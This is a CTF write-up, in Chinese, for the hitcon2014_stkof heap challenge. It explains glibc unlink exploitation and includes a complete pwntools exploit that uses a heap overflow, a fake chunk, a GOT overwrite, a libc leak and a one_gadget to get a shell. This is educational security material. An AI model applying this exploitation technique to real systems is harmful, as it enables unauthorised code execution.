hitcon2014_stkof
Unlink机制研究
分析题目
首先题目是一个使用libc-2.23.so的64位程序,程序没有开启GOT表的保护,修改加载的ld和libc后,试着运行程序,但是无显示,通过源码大致判断了下程序功能,是一个经典的堆选项的题目。
在向chunk写入的函数中我们可以看到,存在任意长度写入的问题,我们可以任意写入内容溢出至下一个chunk。
基本思路
程序在最开始的时候没有设置IO缓冲区,所以会在第一个chunk前后申请两个chunk作为缓冲区,我们可以申请一个先堆快,释放两个缓冲区的内容。
在程序中,存在一个全局变量在0x00602140,储存了所有申请chunk的data区域的地址,如果可以在这个位置伪造一个fake_chunk,我们就可以得到一个可以自由控制的指针,改变程序的运行。
然后,我们可以通过改变free函数的got表的内容,泄露puts函数的地址,得到libc的基地址,然后改写free函数plt表的内容为one_gadget,从而获取shell。
出现的问题以及解决方案
1、程序输入满字节的情况下,会出现先显示OK后接连打出一个FAIL的内容,但是不影响整体的程序进程,在接收puts泄露出的函数地址时,应该recvuntil到”FAIL\n”的位置,这样才能得到真正的puts的地址。
2、关于unlink机制:
利用条件: 存在UAF
unlink源码(向后合并触发):
1 2 3 4 5 6 7
| /* consolidate backward */ if (!prev_inuse(p)) { prevsize = prev_size(p); size += prevsize; p = chunk_at_offset(p, -((long) prevsize)); unlink(av, p, bck, fwd); }
|
当然,对于最开始的unlink机制,是不存在校验的问题,可以通过定义bck,fwd的内容进行任意的修改,现在的unlink机制,加入了校验的内容,源码是:
1 2 3 4 5 6 7
| // fd bk if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
// 由于P已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致。 if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \ malloc_printerr ("corrupted size vs. prev_size"); \
|
所以这样的话,我们是没有办法直接去做任意的修改,但是我们依旧可以通过控制fd和bk的值,修改特定位置的内容,控制某个指针,来实现后续的操作。
利用方式:(1)申请两个chunk,修改第一个chunk的内容为:0x0,伪造本chunk的大小(一般是本chunk-0x10),fd(chunklist+0x18-0x18),bk(chunklist+0x18-0x10),pattern_code,pre_size(伪造本chunk的大小-1,去掉pre_inuse值) , 下一个chunk的size-1(即修改pre_inuse值为0)。
(2)free第二个chunk,触发unlink,可以修改在chunklist的位置修改成fd的内容,然后可以利用edit一类的函数,对任意的地址进行修改。
最终exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80
| ##Author by: limu ##Terminal: i3 ##Tools: pwntools ##Usage: python3 exp.py [local or remote] [yes or no] ip port
from pwn import * #from pwnlib import * from LibcSearcher import * import sys context.log_level = "debug" context.terminal = ['i3-sensible-terminal',"-e"] context.arch = 'amd64' elf = ELF('./pwn') libc = ELF('./libc.so.6')
if sys.argv[1] == 'l': p = process("./pwn") elif sys.argv[1] == 'r': p = remote(sys.argv[3],sys.argv[4]) else: print("wrong") sys.exit()
##启动调试 if sys.argv[2] == 'y': gdb.attach(p,gdbscript='break main') pause()
def add(size): p.sendline(b'1') p.sendline(str(size).encode()) p.recvuntil(b'OK')
def fill(index,content): p.sendline(b'2') p.sendline(str(index).encode()) p.sendline(str(len(content)).encode()) p.sendline(content) p.recvuntil(b'OK') def free(index): p.sendline(b'3') p.sendline(str(index).encode())
def dump(index): p.sendline(b'4') p.sendline(str(index).encode()) p.recvuntil(b'OK')
head_addr = 0x00602140 add(0x100) add(0x30) add(0x80) add(0x80)
payload = p64(0x0)+p64(0x30)+p64(head_addr-0x8)+p64(head_addr)+p64(0x0)+p64(0x0)+p64(0x30)+p64(0x90) fill(2,payload) free(3) p.recvuntil(b'OK')
payload2 = p64(0x0) * 2 + p64(elf.got['free']) + p64(elf.got['puts']) fill(2,payload2) payload3 = p64(elf.plt['puts']) fill(1,payload3) free(2)
p.recvuntil(b'FAIL\n') puts_addr = p.recvuntil(b'OK\n', drop=True).ljust(8, b'\x00') puts_addr = u64(puts_addr)
base = puts_addr - libc.symbols['puts'] one = base + 0xf0897
fill(1,p64(one)) free(4)
p.interactive()
|